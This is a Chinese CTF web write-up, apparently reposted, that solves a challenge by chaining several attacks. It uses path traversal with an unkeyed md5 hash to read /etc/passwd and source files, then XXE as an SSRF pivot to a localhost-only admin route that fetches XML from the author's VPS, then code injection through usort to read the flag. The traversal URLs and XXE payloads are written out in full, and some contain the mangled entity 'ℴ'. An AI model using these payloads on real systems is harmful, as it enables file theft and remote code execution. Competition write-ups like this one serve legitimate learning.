内容简介:题目地址:这是整场比赛最简单的Web题…Web题质量很高,貌似现在还没有关环境
题目地址: http://68.183.31.62:94
这是整场比赛最简单的Web题…Web题质量很高,貌似现在还没有关环境
主页面有四个功能,纯静态页面。右键about页面源码信息:
给个本地web目录
接着在list页面的源码里发现信息:
因为页面显示图片,url没有其他参数,猜测应该是readfile之类的函数读的文件。File+hash的方法,既然是ctf,那hash应该不会加key。下载一个文件试一下能不能成功
68.183.31.62:94/download?file=files/../../../../../etc/passwd&hash=ab56ade6fe16a65bce82a7cd833f13cc
这里让 hash = md5(file)
,成功下载到了/etc/passwd
尝试去读/flag发现文件不存在,去读.bash_history也不存在..捷径失败…
看到之前list下载的test.txt内容是这样的
down一下download的源码,顺便fuzz一下Controllers的文件
68.183.31.62:94/download?file=files/../../app/Controllers/Download.php&hash=f350edcfda52eb0127c4410633efd260
字典只跑出来了个admin.php
先是用file_get_contents加载一个文本,之后loadXML解析取值,usort排序输出。感觉存在一个XXE或者是create_function的代码注入,因为找不到/flag文件所以利用XXE没什么卵用,那应该就是代码注入了,但是要加载外部文本来引入正确xml文本才能进入函数判断。
尝试请求admin?url=xxx&order=xx死活获取不到页面,应该是路由没找对。在这卡了一会,请教腹黑师傅,才想起来去读入口文件。
68.183.31.62:94/download?file=files/../../app/Index.php&hash=1dfd7acd700544ea7d26b8368935c4e8
/app/index.php
<?php ini_set('display_errors',1); ini_set('display_startup_erros',1); error_reporting(E_ALL); require_once('Routes.php'); function __autoload($class_name){ if(file_exists('./classes/'.$class_name.'.php')){ require_once './classes/'.$class_name.'.php'; }else if(file_exists('./Controllers/'.$class_name.'.php')){ require_once './Controllers/'.$class_name.'.php'; } }
再去读路由/app/Routes.php
<?php Route::set('index.php',function(){ Index::createView('Index'); }); Route::set('index',function(){ Index::createView('Index'); }); Route::set('about-us',function(){ AboutUs::createView('AboutUs'); }); Route::set('contact-us',function(){ ContactUs::createView('ContactUs'); }); Route::set('list',function(){ ContactUs::createView('Lista'); }); Route::set('verify',function(){ if(!isset($_GET['file']) && !isset($_GET['hash'])){ Verify::createView('Verify'); }else{ Verify::verifyFile($_GET['file'],$_GET['hash']); //设置session,file和hash对应请求文件 } }); Route::set('download',function(){ if(isset($_REQUEST['file']) && isset($_REQUEST['hash'])){ echo Download::downloadFile($_REQUEST['file'],$_REQUEST['hash']); }else{ echo 'jdas'; } }); Route::set('verify/download',function(){ Verify::downloadFile($_REQUEST['file'],$_REQUEST['hash']); }); Route::set('custom',function(){ $handler = fopen('php://input','r'); $data = stream_get_contents($handler); // xml if(strlen($data) > 1){ Custom::Test($data); }else{ Custom::createView('Custom'); } }); Route::set('admin',function(){ if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){ Admin::createView('Admin'); }else{ if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){ Admin::sort($_REQUEST['rss'],$_REQUEST['order']); }else{ echo ";("; } } }); Route::set('custom/sort',function(){ Custom::sort($_REQUEST['rss'],$_REQUEST['order']); }); Route::set('index',function(){ Index::createView('Index'); });
原来我只down了download和admin页面,还有其它功能页面没down到,看到了玄学的admin规则如下,只有本地才能请求到sort函数
Route::set('admin',function(){ if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){ Admin::createView('Admin'); }else{ if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){ Admin::sort($_REQUEST['rss'],$_REQUEST['order']); }else{ echo ";("; } } });
只能找一下其他利用,再看Custom
Route::set('custom',function(){ $handler = fopen('php://input','r'); $data = stream_get_contents($handler); if(strlen($data) > 1){ Custom::Test($data); }else{ Custom::createView('Custom'); } });
Custom::Test
class Custom extends Controller{ public static function Test($string){ $root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT); $test = $root->name; echo $test; } }
$data内容可控为php://input,Test函数再将$data作为xml文本解析,那么存在XXE的问题,验证了一下可以利用
联想到刚才admin页面只有本地才能请求,那就用Custom的XXE当跳板好了,测试一下是否能当跳板
poc:
<?xml version='1.0'?> <!DOCTYPE name [<!ENTITY file SYSTEM "http://localhost/admin?rss=http%3A%2F%2Fyour_vps%2Fxxe.txtℴ=1">]> <note> <name>&file;</name> </note>
admin页面确实file_get_contents到了我vps的xxe文本。
尝试去构造正确的xml文本到执行到usort函数进行注入,warning不影响代码执行
http://vps/xxe.txt
<?xml version="1.0" encoding="utf-8"?> <root> <channel> <item> <link>@hpdoger.me</link> </item> <item> <link>@souhu.com</link> </item> </channel> </root>
POC
<?xml version='1.0'?> <!DOCTYPE name [<!ENTITY file SYSTEM "http://localhost/admin?rss=http%3A%2F%2Fvps%2Fxxe.txtℴ=id%29%3B%7Decho%28file_get_contents%28%27..%2F..%2F..%2Fda0f72d5d79169971b62a479c34198e7%27%29%29%3B%2F%2F">]> <note> <name>&file;</name> </note>
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- LeetCode 题解,记录自己的 LeetCode 解题之路
- 湖南第二届大学生网络安全技能竞赛web解题记录
- 一文学会链表解题
- 小记一类ctf密码题解题思路
- Leetcode 第133场周赛解题报告
- Leetcode 第135场周赛解题报告
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。